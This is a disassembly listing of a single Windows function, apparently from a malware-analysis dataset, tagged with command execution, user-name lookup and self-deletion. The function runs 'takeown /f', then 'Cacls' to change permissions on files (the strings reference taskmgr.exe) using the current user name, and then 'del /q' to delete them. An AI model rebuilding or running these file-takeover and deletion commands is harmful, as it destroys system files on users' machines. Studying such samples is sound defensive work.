Function at 0x402510
Capabilities:
Execute command
Get session user name
Self delete

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x168
lea r15, [rsp + 0x2c]
lea rsi, [rsp + 0x60]
mov rdx, rcx
mov r12, rcx
lea r14, [rsp + 0x2b]
lea rbp, [rsp + 0x50]
mov r8, r15
mov rcx, rsi
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, str.takeown__f
mov r8, r14
mov rcx, rbp
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
mov r9, qword [r8 - 0x18]
mov rdx, r9
add rdx, qword [rax - 0x18]
cmp rdx, qword [r8 - 0x10]
jbe 0x40257f
cmp rdx, qword [rax - 0x10]
jbe 0x402785
mov rdx, rsi
mov rcx, rbp
call method.std::string.append_std::string_const_
lea r13, [rsp + 0x40]
mov rdi, rax
xor edx, edx
xor ecx, ecx
mov rbx, qword [rdi]
mov r8, r13
call method.std::string._S_construct_unsigned_long_long__char__std::allocator_char__const_
mov qword [rdi], rax
mov rcx, rbx
call sym.system
mov eax, 0xffffffff
lock xadd dword [rbx - 8], eax
test eax, eax
jle 0x4027c5
mov rcx, qword [rsp + 0x50]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x4027e0
mov rcx, qword [rsp + 0x60]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x4027f1
mov rdi, rsi
lea rsi, [rsp + 0x60]
xor eax, eax
lea rbx, [rsp + 0x30]
mov ecx, 0x20
mov rdx, r15
rep stosq qword [rdi], rax
mov dword [rsp + 0x2c], 0x100
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, str.Cacls_C:windows_system32_taskmgr.exe__t__e__c__g
mov r8, rbp
mov rcx, rbx
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rdx, str.Cacls
mov r8d, 6
mov rcx, rbx
call method.std::string.assign_char_const__unsigned_long_long_
mov rcx, r12
call sym.strlen
mov rdx, r12
mov r8, rax
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
lea rdx, str.___t__e__c__g
mov r8d, 0xd
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
mov r8, r14
mov rdx, rsi
mov rcx, r13
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov rdx, r13
mov rcx, rbx
call method.std::string.append_std::string_const_
mov rcx, qword [rsp + 0x40]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402802
lea rdx, [0x0048a4e8]
mov r8, r14
mov rcx, rbp
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
mov rdx, rbp
mov rcx, rbx
call method.std::string.append_std::string_const_
mov rcx, qword [rsp + 0x50]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402813
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x0048ed90]
mov r8, qword [rdx - 0x18]
call method.std::basic_ostream_char__std::char_traits_char____std::__ostream_insert_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const__long_long_
mov r13, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rsi, qword [r13 + rax + 0xf0]
test rsi, rsi
je 0x402835
cmp byte [rsi + 0x38], 0
je 0x402794
movsx edx, byte [rsi + 0x43]
mov rcx, r13
call method.std::ostream.put_char_
mov rcx, rax
call method.std::ostream.flush__
mov rcx, qword [rsp + 0x30]
call sym.system
lea rdx, str.del__q
mov r8d, 7
mov rcx, rbx
call method.std::string.assign_char_const__unsigned_long_long_
mov rcx, r12
call sym.strlen
mov rdx, r12
mov r8, rax
mov rcx, rbx
call method.std::string.append_char_const__unsigned_long_long_
mov rcx, qword [rsp + 0x30]
call sym.system
mov rcx, qword [rsp + 0x30]
mov eax, 0xffffffff
lock xadd dword [rcx - 8], eax
test eax, eax
jle 0x402824
add rsp, 0x168
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor edx, edx
mov rcx, rsi
call method.std::string.insert_unsigned_long_long__char_const__unsigned_long_long_
jmp 0x40258a
mov rcx, rsi
call method.std::ctype_char_._M_widen_init___const
mov rax, qword [rsi]
lea rcx, [dbg.std::ctype<char>::do_widen(char) const]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x40270b
mov rcx, rsi
call rax
movsx edx, al
jmp 0x40270b
lea rcx, [rbx - 0x18]
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4025be
sub rcx, 0x18
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4025d5
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4025ec
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x402699
sub rcx, 0x18
mov rdx, r13
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x4026cd
sub rcx, 0x18
mov rdx, rbp
call method.std::string::_Rep._M_destroy_std::allocator_char__const_
jmp 0x402771
call method.std.__throw_bad_cast__
mov rbx, rax
mov rax, qword [rsp + 0x30]
mov rdx, r14
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rbx
call dbg._Unwind_Resume
lea rcx, [rbx - 0x18]
mov rdx, r13
mov rsi, rax
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x50]
lea rbx, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rax, qword [rsp + 0x60]
mov rdx, rbx
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
mov rcx, rsi
call dbg._Unwind_Resume
mov rbx, rax
mov rax, qword [rsp + 0x50]
mov rdx, r13
lea rcx, [rax - 0x18]
call method.std::string::_Rep._M_dispose_std::allocator_char__const_
jmp 0x40283d